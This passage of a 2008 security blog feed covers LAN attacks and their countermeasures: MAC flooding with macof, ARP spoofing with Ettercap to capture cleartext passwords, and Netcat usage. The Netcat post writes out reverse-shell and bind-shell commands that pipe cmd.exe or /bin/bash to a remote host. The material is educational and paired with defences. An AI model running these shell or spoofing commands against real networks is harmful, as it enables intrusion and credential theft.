24%E5%88T%3A%1D%CC%E6sJ%88%E6%A8X%2B%96%AA%DDN%BB%5E%A5%F5%1AN%82%CB%C41%DA%1C%5D%B3%99%EEt%3B%0E%3C%D3i%EA%BB%CE%AE%8F%E5%FB3%7C%80%12%01%85%01%21%82%83%0E%86%86%20%89%8A%0B%8C%92%1Fs%90%10%92%98%1D%95%96%8B%98%99%1BG%9C%11%9E%9E%1CC%A2%A3%A4%9F%A8%26%AA%A5%AC%AD%AE%93%B0%24%B2%B3%B4%23%B6%8C%B8%B5%BA%85%BC%22%BE%BF%C0%21%C2%C4%C1%B6%C7%B9%AE%CA%CB%A4%CD%BD%B7%D0%CE%87%D3%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%C0%02%E4%E5%E6%E7%E8%E7%DC%E9%EC%ED%E6%DA%EE%F1%ED%D9%F2%F5%EA%D8%F6%F9%02%F4%FA%F5%F0%FD%EE%D6%01L%27%AE%A0%C1%83%08%13*%5C%C8%B0%A1%C3%87h%06H%1Cq%C1%C4%8B%10%2Fj%A4%D8pP%A3F%86%1E7*%0C%E9%11%21%C9%92%07O%8A4%A8%F2%23%CB%96%13M%C2%94%98r%26%C7%970%13%CE%5C%98%93%E7I%87%24%2B%AE%ACH%23%D1%A3H%93*%5D%CA%B4%A9%D3%A7P%A3J%9DJ%B5%AA%D5%ABX%B3j%DD%CA%B5%AB%D7%AF%60%C3%16I%3B" /&gt;&lt;p id="greasedLightboxLoadingText"&gt;Loading image&lt;/p&gt;&lt;p id="greasedLightboxLoadingHelp"&gt;Click anywhere to cancel&lt;/p&gt;&lt;/div&gt;&lt;div id="greasedLightboxError"&gt;&lt;p id="greasedLightboxErrorMessage"&gt;Image unavailable&lt;/p&gt;&lt;p id="greasedLightboxErrorContext"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;img id="greasedLightboxPreload" /&gt;&lt;img id="greasedLightboxPrefetch" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-1935390531460186105?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/1935390531460186105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=1935390531460186105' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/1935390531460186105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/1935390531460186105'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/07/destroying-lan-part-3-mysterious-vlan.html' title='Destroying the LAN Part 3; The mysterious VLAN hopping attack'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IYfuPD9qO24/SH9JVwJmd4I/AAAAAAAAABo/ZON_mrq2ER0/s72-c/yersinia.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-2391458486564706517</id><published>2008-07-14T15:40:00.008-04:00</published><updated>2009-01-01T13:34:35.085-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Dsniff'/><category scheme='http://www.blogger.com/atom/ns#' term='Macof'/><category scheme='http://www.blogger.com/atom/ns#' term='Wireshark'/><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><title type='text'>Destroying the LAN Part 2; The Yin and Yang of Mac Flooding</title><content type='html'>The attack vector we are going to examine today is mac address flooding. This is another attack that can actually break your network. Most networks recover pretty quickly from this type of attack but it can knock a switch completely offline for a short period of time.&lt;br /&gt;&lt;br /&gt;The theory behind this type of attack is that most switches have a limited amount of memory for their CAM table. This means that under heavy load they start broadcasting all traffic to all ports. The mac flooding attack fills up the CAM table to the point that the switch can't add any more mac addresses to the table. This makes the switch start broadcasting all traffic to all ports thus allowing an attacker to sniff traffic that they would not normally be able to access.&lt;br /&gt;&lt;br /&gt;The Attack tool we are examining today is Macof. Macof is a tool that can flood random mac addresses into a switches CAM table. This tool is part of the Dsniff set of tools and can be downloaded &lt;a href="http://www.monkey.org/%7Edugsong/dsniff/"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To execute this kind of attack you need to start a packet sniffer such as Wireshark and then start Macof by doing &lt;span style="font-weight: bold;"&gt;macof -i eth0&lt;/span&gt;. This ensures that once the switch starts sending traffic your way you will be able to catch all of the traffic in your sniffer program. This is essentially an attack and wait strategy much like arp spoofing. If you don't crash the switch it will start flooding all the traffic that doesn't have an entry in the CAM table. Thus sending the traffic for the entire LAN/VLAN out all of the ports. This traffic is then captured by Wireshark which you already have open. At this point any unencrypted traffic is owned and you can use the filters in Wireshark to narrow down the type of traffic you are looking for.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Countermeasures&lt;/span&gt;&lt;br /&gt;The countermeasures of this Attack at least from the Cisco world is a configuration option called port security. Port security allows a certain number of mac addressses to attach to a port and then after that number an action will occur. This action is one of three possible actions. They are restrict, protect, and shutdown.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Restrict&lt;/span&gt; increments a violation counter which alerts a network administrator.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Protect&lt;/span&gt; blocks any traffic from the new mac addresses.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Shutdown&lt;/span&gt; deactivates the port immediately and sends an SNMP trap notification.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Basically once this is configured the attack can be blocked automatically from the switch an example configuration for blocking this attack would be the following:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;3550-B(config-if)#switchport port-security&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;3550-B(config-if)#switchport port-security maximum value 5&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;3550-B(config-if)#switchport port-security violation shutdown&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;3550-B(config-if)#switchport port-security mac-address aabb.ccdd.eeff&lt;/strong&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;This configuration permits a total of 5 mac addresses then shuts down the port. These commands can allow many different variables for more information &lt;a href="http://www.cisco.com/en/US/docs/switches/lan/catalyst3560/software/release/12.2_25_see/command/reference/cli3.html#wp1948361"&gt;check here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So once again we have protected layer two traffic from sniffing and brought our network back into balance. The best protection for traffic is always encryption but most network environments have legacy applications that must have traffic in the clear. The prime example of this is email and most printing functions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-2391458486564706517?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/2391458486564706517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=2391458486564706517' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2391458486564706517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2391458486564706517'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/07/destroying-lan-part-2-yin-and-yang-of.html' title='Destroying the LAN Part 2; The Yin and Yang of Mac Flooding'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-6077016594301617986</id><published>2008-07-11T10:07:00.016-04:00</published><updated>2009-01-01T13:33:49.073-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Man in the Middle'/><category scheme='http://www.blogger.com/atom/ns#' term='Arp Spoofing'/><category scheme='http://www.blogger.com/atom/ns#' term='Ettercap'/><category scheme='http://www.blogger.com/atom/ns#' term='Dynamic Arp Inspection'/><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><title type='text'>Destroying the LAN; The Yin and Yang of ARP spoofing</title><content type='html'>The attack&lt;strong&gt; &lt;/strong&gt;vector I am examining in today's post is ARP Spoofing. Please be aware that this is a very destructive attack and can bring down an entire LAN.&lt;br /&gt;&lt;br /&gt;The theory behind ARP spoofing is that since ARP replies are not verified an attacker can send a spoofed ARP reply to a victim machine, thereby poisoning its ARP cache. This type of attack can redirect traffic to any destination chosen by the attacker.&lt;br /&gt;&lt;br /&gt;This type of attack is mainly used to sniff traffic in a switched network. It has also been used in other ways to redirect traffic such as the recent &lt;a href="http://seclists.org/fulldisclosure/2008/Jun/0011.html"&gt;hacking of metasploit.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The Attack tool we are going to examine is Ettercap NG. Ettercap gives us the ability to choose a target for arp spoofing and then redirect the traffic to our mac address. Then we capture that traffic to look for information in clear text such as http, ftp, telnet, and pop3 usernames and passwords.&lt;br /&gt;&lt;br /&gt;&lt;img id="BLOGGER_PHOTO_ID_5221817074705460834" style="margin: 0px auto 10px; display: block; text-align: center;" alt="" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SHee9ovjbmI/AAAAAAAAABQ/Fy1FNu22okI/s200/etcap.jpg" border="0" /&gt;&lt;br /&gt;Ettercap works on Windows and Linux and has two different GUI options on Linux as well as a command line option. The full functionality of Ettercap is beyond the scope of this post as it can be used for Man in the Middle attacks of many different kinds.&lt;br /&gt;&lt;p&gt;The usage of Ettercap for Arp Spoofing is amazingly self explanatory for most users. Pick a sniffing method, scan the network for hosts. Add them as targets then choose Mitm and Arp Posioning. This attack is really great for getting cleartext usernames and passwords on a switched network. If you want more information on how to use Ettercap &lt;a href="http://www.milw0rm.com/video/watch.php?id=79"&gt;click here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Countermeasures&lt;/strong&gt;&lt;br /&gt;To counter the Arp spoofing attack we are going to use a function that is embedded into Cisco 3560 Catalyst switches. This function is called Dynamic ARP inspection. This basically stops the ability of attackers to push the bogus arps to the other machines.&lt;br /&gt;&lt;br /&gt;To quote Cisco "Dynamic ARP inspection determines the validity of an ARP packet based on valid IP-to-MAC address bindings stored in a trusted database, the DHCP snooping binding database."&lt;/p&gt;&lt;p&gt;To configure Dynamic ARP inspection you need to configure your switches with the following commands.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Cisco3560(config)#ip arp inspection vlan 100 or whatever number&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;On any port connected to another switch you must use the following command&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Cisco3560(config-if)#ip arp inspection trust &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;To use this command DHCP snooping must be enabled or you have to setup an ACL that allows arp for certain devices. This can be configured like the following.&lt;/p&gt;&lt;p&gt;This example shows how to configure an ARP ACL called host2 on Switch A, to permit ARP packets from Host 2 (IP address 1.1.1.1 and MAC address 0001.0001.0001), to apply the ACL to VLAN 1, and to configure port 1 on Switch A as untrusted: &lt;a name="wp1040876"&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Switch(config)# arp access-list host2&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;a name="wp1040877"&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Switch(config-arp-acl)# permit ip host 1.1.1.1 mac host 1.1.1&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;a name="wp1041308"&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Switch(config-arp-acl)# exit&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;a name="wp1041329"&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Switch(config)# ip arp inspection filter host2 vlan 1&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;a name="wp1041539"&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Switch(config)# interface gigabitethernet0/1&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;a name="wp1040878"&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Switch(config-if)# no ip arp inspection trust&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;For more info on &lt;a href="http://www.cisco.com/en/US/docs/switches/lan/catalyst3560/software/release/12.2_20_se/configuration/guide/swdynarp.html#wp1038527"&gt;Dynamic Arp Inspection Configuration click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Once this configuration is in place the ARP spoofing attack doesn't function. So once again we have brought balance to the security of our information. This simple configuration stops one of the most dangerous internal attacks. These  simple steps help secure the layer two infrastructure against attacks that could be devastating to an organization.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-6077016594301617986?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/6077016594301617986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=6077016594301617986' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/6077016594301617986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/6077016594301617986'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/07/destroying-lan-yin-and-yang-of-arp.html' title='Destroying the LAN; The Yin and Yang of ARP spoofing'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IYfuPD9qO24/SHee9ovjbmI/AAAAAAAAABQ/Fy1FNu22okI/s72-c/etcap.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-34622613099897518</id><published>2008-07-10T15:22:00.020-04:00</published><updated>2008-07-28T15:07:26.342-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Netcat'/><title type='text'>The Yin and Yang of NetCat</title><content type='html'>&lt;span style="FONT-WEIGHT: bold;font-size:130%;" &gt;Netcat&lt;/span&gt;&lt;span style="font-size:130%;"&gt; &lt;/span&gt;is a great tool that works on Windows and Linux. It can do the following:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;port redirection,&lt;br /&gt;&lt;/li&gt;&lt;li&gt;uploading and downloading of files&lt;br /&gt;&lt;/li&gt;&lt;li&gt;listening on a port of your choosing&lt;br /&gt;&lt;/li&gt;&lt;li&gt;simple chat&lt;br /&gt;&lt;/li&gt;&lt;li&gt;port scanning&lt;br /&gt;&lt;/li&gt;&lt;li&gt;backdoors&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I am going to show some examples on how to use this tool.&lt;br /&gt;&lt;br /&gt;Listening on a port is as easy as using the following command.&lt;/tab&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;nc -lvvp 80&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;nc netcat&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;-l listen mode&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;-vv very verbose&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;-p port 80&lt;/strong&gt; &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;tab&gt;&lt;tab&gt;Connecting to a port with netcat is great for banner grabbing. This can be done with the following commands&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;nc -vv 192.168.0.1 23&lt;br /&gt;nc netcat&lt;br /&gt;-vv very verbose&lt;br /&gt;ip&lt;br /&gt;port &lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Uploading a file uses the command as earlier just use Greater and Less Than.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;nc -lv 4444 &gt;netcat.txt&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;nc -v 192.168.0.198 &lt;&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Sending a reverse shell&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;nc -v 192.168.0.198 4444 -e &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;cmd&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;exe&lt;/span&gt; &lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;nc&lt;/span&gt; -v 192.168.0.198 4444 -e /bin/bash &lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Listening with a command shell&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;nc -lv 4444 -e cmd.exe &lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;nc -lv 4444 -e /bin/bash &lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="FONT-WEIGHT: bold;font-size:130%;" &gt;Countermeasure&lt;/tab&gt;&lt;/tab&gt;s&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold"&gt; &lt;/span&gt;&lt;/p&gt;Preventing this type of tool can be done with antivirus, firewalls and IDS for the reverse shell. NetCat is a great tool for the ethical hacking arsenal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-34622613099897518?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/34622613099897518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=34622613099897518' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/34622613099897518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/34622613099897518'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/07/wonderful-world-of-netcat.html' title='The Yin and Yang of NetCat'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-2111562292035532616</id><published>2008-07-10T15:03:00.001-04:00</published><updated>2008-07-11T15:22:45.042-04:00</updated><title type='text'>First Post</title><content type='html'>Ok, First Post.&lt;br /&gt;&lt;br /&gt;I am setting this up as a personal information database for useful information relating to my CCIE and Ethical Hacking studies. Some of the tools and scripts might be useful if you are in IT. Each post will showcase a type of attack and the countermeasure. Most of this will be settings to change and scripts written to execute the attack along with pictures.&lt;br /&gt;&lt;br /&gt;I will show the attack and then the countermeasure to bring it into balance. I am going to include pictures and show in great detail how to execute the attack and then counter it. Feel free to use anything I post, as the tools will be opensource and freely downloadable.&lt;br /&gt;&lt;br /&gt;Thanks&lt;br /&gt;HackThePlanet&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-2111562292035532616?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2111562292035532616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2111562292035532616'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/07/first-post.html' title='First Post'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author></entry></feed>
